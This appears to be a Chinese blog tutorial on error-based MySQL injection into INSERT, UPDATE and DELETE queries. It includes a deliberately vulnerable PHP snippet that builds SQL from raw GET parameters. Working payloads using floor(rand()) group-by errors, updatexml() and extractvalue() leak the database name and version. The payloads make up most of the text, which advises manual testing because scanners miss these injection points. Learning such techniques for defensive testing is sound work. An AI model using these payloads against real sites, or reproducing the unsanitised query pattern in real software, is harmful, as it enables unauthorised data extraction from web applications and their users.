mysql注入 update_MySQL三种报错注入方式下的insert,update,delete命令注入示例

select 查询数据(大部分)

在网站应用中进行数据显示查询操作

insert 插入数据

在网站应用中进行用户注册添加等操作

delete 删除数据

后台管理里面删除文章删除用户等操作

update 更新数据

数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

注意:扫描工具一般不能扫描到insert,updata,delete命令的注入点,因为交互过程复杂,涉及到用户登录状态,用户行为交互等方面,这就需要手工测试了

模拟网站环境执行SQL命令:

本地模拟网站输入用户名

$id=$_GET['i'];

$users=$_GET['u'];

$pass=$_GET['p'];

$sql="insert into users (id,name,password) values ('$id','$users','$pass');";

echo $sql;?>

9cc99d32842c80da432faf3321f418a5.png

指定u参数即可生成插入数据库的SQL命令

同时在任意数据库中新建以下表:

f23e7436fb22c74cd81bf21273b8cd3e.png

insert语句

INSERT INTO 语句用于向表格中插入新的行。

语法

INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

floor()报错演示Payload:

insert插入命令:

一般出现在注册是新建昵称等插入文字的地方

本地参数u中用户名输入:

Olivia'or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or'

ac2b9338188d583b0e5016381a6e540d.png

执行的完整SQL语句

insert into users (id,name,password) values ('','Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '','');

复制到SQL数据库中执行

4004cd4f2b19533a88f4d0af60b62b14.png

可以看到执行之后显示出数据库名

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令

update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;

数据库执行

7d85fb80be7c14f833ad69c18eed64dd.png

delete命令

delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a);

c0e8e3e1b0d5298b2b501bfa116ab9e5.png

updatexml()报错演示Payload

insert命令:

aeff9edfbea229dd3145f174c93f477d.png

用户名输入:

Olivia'or updatexml(1,concat(0x7e,(version())),0) or'

7011ac7991d6b73c8116135c7d498c7e.png

复制去数据库执行

cc594136193161767fcaa16330c92418.png可以看到把数据库的版本查询出来了

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令

update users set password='Olivia' or  updatexml(1,concat(0x7e,(version())),0) or '' where id=2;

afd5c29ee0e122cb50e96a58a7e7914d.png

delete命令

delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

f6418e6eb7b4bad45274ea01d75a8a73.png

extractvalue()报错演示Payload

insert命令:

用户名输入:

Olivia'or extractvalue(1,concat(0x7e,database())) or'

7034ba8e498c2490ca1248030b12216e.png

update命令

update users set password='Olivia' or extractvalue(1,concat(0x7e,database())) or '';

eba0282084a82bea72b13a20f0e3d1a2.png

delete命令

delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

6406d9615933aa76c29c910b259995c6.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值